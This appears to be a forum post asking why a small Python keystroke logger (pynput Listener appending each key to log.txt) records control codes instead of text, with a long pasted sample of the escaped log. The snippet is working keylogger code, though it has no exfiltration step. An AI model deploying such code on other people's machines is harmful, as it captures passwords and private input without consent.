my code saving all the logs as hexacode : -
Quote: '\x13''\x13'Key.space'\x13''\x01''\x12''\x12''\x05'Key.enterKey.enterKey.enter'\x0b''\t''\x0c''\x0c''\x05''\x12''\r''\x01''\x03''\x08''\t''\x0e''\x05''\x14''\t''\r''\x05'Key.space'\x01''\x03''\x08''\t''\x0e''\x05'Key.space'\r''\x01''\x03''\x08''\t''\x0e''\x05'Key.enterKey.enterKey.enter'\x13''\x04''\x01''\x13''\x13''\x01''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x13''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01''\x01'
PHP Code
<?php
from pynput.keyboard import Listener
def writetofile(key):
keydata = str(key)
with open("log.txt" , 'a') as f:
f.write(keydata)
with Listener(on_press=writetofile) as l:
l.join()
print()



